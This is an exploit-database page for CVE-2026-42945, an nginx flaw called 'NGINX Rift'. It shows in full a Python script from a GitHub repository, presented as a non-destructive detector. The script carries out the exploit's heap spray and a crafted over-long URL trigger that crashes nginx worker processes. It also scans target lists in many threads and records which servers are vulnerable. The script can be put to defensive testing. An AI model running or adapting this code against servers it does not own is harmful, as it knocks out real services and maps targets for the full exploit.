Exploit database

GH-b6c61ea5832edec44dd4fc297df0483d

iammerrida-source/nginx-rift-detect

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-42945

33 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
iammerrida-source/nginx-rift-detectRevision 7c06451aef3f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

detect-CVE-2026-42945.py

Suggested starting filePython · 12,386 bytes
#!/usr/bin/env python3
"""
CVE-2026-42945 - NGINX Rift Detection Script
Behavioral detection: spray + trigger, check for worker crash.
Non-destructive: does not attempt RCE, no shellcode, no command execution.

Usage:
  Single target:   python3 detect-CVE-2026-42945.py --host 127.0.0.1 --port 19321
  HTTPS target:    python3 detect-CVE-2026-42945.py --host example.com --port 443 --tls
  List of targets: python3 detect-CVE-2026-42945.py -l targets.txt
  With threads:    python3 detect-CVE-2026-42945.py -l targets.txt --threads 10
  Save results:    python3 detect-CVE-2026-42945.py -l targets.txt -o results.txt

targets.txt format (one per line):
  http://example.com
  https://example.com:8443
  192.168.1.1
  192.168.1.1:8080
"""

import socket
import ssl
import time
import sys
import argparse
import threading
from urllib.parse import urlparse

BODY_LEN = 4000
N_SPRAY = 20
print_lock = threading.Lock()


def parse_target(raw):
    """Parse host, port, tls from URL or bare host[:port]. Default port 80."""
    raw = raw.strip()
    if not raw or raw.startswith("#"):
        return None, None, False
    if "://" not in raw:
        raw = "http://" + raw
    p = urlparse(raw)
    host = p.hostname
    tls = p.scheme == "https"
    port = p.port or (443 if tls else 80)
    return host, port, tls


def make_socket(host, port, tls, timeout=5):
    """Create a plain or TLS-wrapped socket."""
    s = socket.create_connection((host, port), timeout=timeout)
    if tls:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        s = ctx.wrap_socket(s, server_hostname=host)
    return s


def cprint(msg, color=None):
    colors = {"red": "\033[91m", "green": "\033[92m", "yellow": "\033[93m",
              "cyan": "\033[96m", "reset": "\033[0m"}
    with print_lock:
        if color and sys.stdout.isatty():
            print(f"{colors.get(color,'')}{msg}{colors['reset']}")
        else:
            print(msg)


def wait_alive(host, port, tls, timeout=10):
    for _ in range(timeout):
        try:
            s = make_socket(host, port, tls, timeout=2)
            s.sendall(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\nConnection: close\r\n\r\n")
            data = s.recv(100)
            s.close()
            if data:
                return True
        except Exception:
            time.sleep(1)
    return False


def get_server_header(host, port, tls):
    try:
        s = make_socket(host, port, tls, timeout=5)
        s.sendall(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\nConnection: close\r\n\r\n")
        s.settimeout(3)
        resp = b""
        while True:
            chunk = s.recv(1024)
            if not chunk:
                break
            resp += chunk
        s.close()
        for line in resp.split(b"\r\n"):
            if line.lower().startswith(b"server:"):
                return line.split(b":", 1)[1].strip().decode(errors="replace")
    except Exception:
        pass
    return "unknown"


def canary_check(host, port, tls):
    """
    Send 3 normal requests back-to-back.
    Returns True only if all 3 succeed — confirms the server is stable
    and not behind a WAF/rate-limiter that drops connections randomly.
    """
    for _ in range(3):
        try:
            s = make_socket(host, port, tls, timeout=4)
            s.sendall(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\nConnection: close\r\n\r\n")
            s.settimeout(3)
            data = s.recv(64)
            s.close()
            if not data:
                return False
        except Exception:
            return False
        time.sleep(0.05)
    return True


def attempt_detect(host, port, tls):
    """
    Mimics PoC flow without RCE:
    1. Canary — confirm server is stable (false-positive guard)
    2. Spray  — hold N connections open to POST /spray
    3. Trigger — send partial GET /api/<A*349 + +*969>
    4. Probe   — new connection check to confirm crash (not just timeout)
    """
    host_bytes = host.encode()

    # ── Canary: baseline stability check ─────────────────────────────
    if not canary_check(host, port, tls):
        return False, "canary failed — server unstable before trigger (skip, not a crash)"

    # ── Step 1: heap spray ────────────────────────────────────────────
    body = b"\x41" * BODY_LEN
    sprays = []
    for i in range(N_SPRAY):
        try:
            s = make_socket(host, port, tls, timeout=5)
            req = (
                b"POST /spray HTTP/1.1\r\n"
                b"Host: " + host_bytes + b"\r\n"
                b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n"
                b"X-Delay: 60\r\n"
                b"Connection: close\r\n"
                b"\r\n"
                + body
            )
            s.sendall(req)
            sprays.append(s)
        except Exception:
            break
        time.sleep(0.005)

    time.sleep(0.2)

    # ── Step 2: trigger + victim sockets ─────────────────────────────
    try:
        trigger_sock = make_socket(host, port, tls, timeout=5)
        time.sleep(0.02)
        victim_sock = make_socket(host, port, tls, timeout=5)
        time.sleep(0.02)
    except Exception:
        for s in sprays:
            try: s.close()
            except: pass
        return False, "could not open trigger/victim sockets"

    # ── Step 3: send partial trigger ─────────────────────────────────
    payload = "A" * 349 + "+" * 969
    trigger_sock.sendall(
        f"GET /api/{payload} HTTP/1.1\r\nHost: {host}\r\n".encode("latin-1")
    )
    time.sleep(0.05)
    victim_sock.sendall(b"GET / HTTP/1.1\r\nHost: " + host_bytes + b"\r\n")
    time.sleep(0.05)
    trigger_sock.sendall(b"X-Delay: 60\r\nConnection: close\r\n\r\n")
    time.sleep(0.2)

    victim_sock.close()
    time.sleep(0.1)

    # ── Step 4: probe for crash ───────────────────────────────────────
    # We don't just check the trigger socket — we open a FRESH connection.
    # If the fresh connection also fails, it's a real worker crash, not just
    # a keepalive/WAF drop on the trigger socket.
    crashed = False
    reason = ""

    # nginx respawns a new worker immediately after crash, so a fresh
    # connection succeeding does NOT mean "not vulnerable" — it means the
    # worker restarted. The real signal is the trigger socket being closed
    # unexpectedly. We cross-check with the canary: if canary passed (server
    # was stable before trigger) and trigger socket closed, that's the crash.
    try:
        trigger_sock.sendall(b"X-Ping: 1\r\n")
        trigger_sock.settimeout(0.5)
        data = trigger_sock.recv(1)
        if not data:
            crashed, reason = True, "worker crash (trigger connection closed — worker respawned)"
        else:
            crashed, reason = False, "server still responding on trigger socket"

    except socket.timeout:
        # Trigger socket hung but didn't close — ambiguous, treat as not crashed
        crashed, reason = False, "timeout on trigger but no definitive crash signal"

    except (ConnectionResetError, BrokenPipeError, OSError) as e:
        crashed, reason = True, f"worker crash (connection reset: {e})"

    # Cleanup
    for s in sprays:
        try: s.close()
        except: pass
    try: trigger_sock.close()
    except: pass

    return crashed, reason


def scan_target(host, port, tls, tries, results, output_file=None):
    proto = "https" if tls else "http"
    target_str = f"{proto}://{host}:{port}"

    if not wait_alive(host, port, tls, timeout=5):
        cprint(f"[-] {target_str} - unreachable", "yellow")
        results.append({"target": target_str, "status": "unreachable"})
        return

    server = get_server_header(host, port, tls)
    cprint(f"[*] {target_str} - {server}", "cyan")

    for attempt_num in range(1, tries + 1):
        if not wait_alive(host, port, tls, timeout=5):
            time.sleep(2)
            if not wait_alive(host, port, tls, timeout=5):
                cprint(f"[-] {target_str} - server not recovering after attempt {attempt_num}", "yellow")
                break

        crashed, reason = attempt_detect(host, port, tls)

        if crashed:
            cprint(f"[!!!] VULNERABLE | {target_str} | {server} | {reason}", "red")
            results.append({"target": target_str, "status": "VULNERABLE", "server": server, "reason": reason})
            if output_file:
                with print_lock:
                    with open(output_file, "a") as f:
                        f.write(f"VULNERABLE,{target_str},{server}\n")
            return

        # Canary failure = skip, not "not vulnerable"
        if "canary failed" in reason:
            cprint(f"[?] {target_str} - skipped attempt {attempt_num}: {reason}", "yellow")
        else:
            cprint(f"    {target_str} - attempt {attempt_num}: {reason}", None)

        time.sleep(0.3)

    cprint(f"[+] {target_str} - not vulnerable (or timing miss, try --tries 5)", "green")
    results.append({"target": target_str, "status": "not_vulnerable", "server": server})


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-42945 NGINX Rift - Detection (no RCE)"
    )
    parser.add_argument("--host", default=None, help="single target host")
    parser.add_argument("--port", type=int, default=None, help="port (default: 80 or 443)")
    parser.add_argument("--tls", action="store_true", help="use TLS/HTTPS for single target")
    parser.add_argument("-l", "--list", dest="target_list",
                        help="file with targets (one per line: host, host:port, or URL)")
    parser.add_argument("--tries", type=int, default=3,
                        help="detection attempts per target (default: 3)")
    parser.add_argument("--threads", type=int, default=5,
                        help="concurrent threads for list scan (default: 5)")
    parser.add_argument("-o", "--output", default=None,
                        help="save vulnerable targets to file")
    args = parser.parse_args()

    if not args.host and not args.target_list:
        parser.error("specify --host or -l <targets_file>")

    targets = []  # list of (host, port, tls)

    if args.target_list:
        with open(args.target_list) as f:
            for line in f:
                h, p, t = parse_target(line)
                if h:
                    targets.append((h, p, t))
        cprint(f"[*] Loaded {len(targets)} targets from {args.target_list}", "cyan")
    else:
        tls = args.tls
        port = args.port or (443 if tls else 80)
        targets = [(args.host, port, tls)]

    if args.output:
        with open(args.output, "w") as f:
            f.write("status,target,server\n")
        cprint(f"[*] Results will be saved to {args.output}", "cyan")

    cprint(f"[*] CVE-2026-42945 NGINX Rift Detection | targets={len(targets)} threads={args.threads} tries={args.tries}\n", "cyan")

    results = []

    if len(targets) == 1:
        h, p, t = targets[0]
        scan_target(h, p, t, args.tries, results, args.output)
    else:
        semaphore = threading.Semaphore(args.threads)
        threads = []

        def worker(h, p, t):
            with semaphore:
                scan_target(h, p, t, args.tries, results, args.output)

        for h, p, t in targets:
            th = threading.Thread(target=worker, args=(h, p, t))
            th.start()
            threads.append(th)

        for th in threads:
            th.join()

    vulnerable = [r for r in results if r["status"] == "VULNERABLE"]
    print()
    cprint(f"{'='*50}", "cyan")
    cprint(f"[*] Scan complete. {len(results)} targets scanned.", "cyan")
    if vulnerable:
        cprint(f"[!!!] {len(vulnerable)} VULNERABLE target(s):", "red")
        for r in vulnerable:
            cprint(f"      {r['target']} ({r.get('server','?')})", "red")
    else:
        cprint(f"[+] No vulnerable targets found.", "green")
    cprint(f"{'='*50}", "cyan")


if __name__ == "__main__":
    main()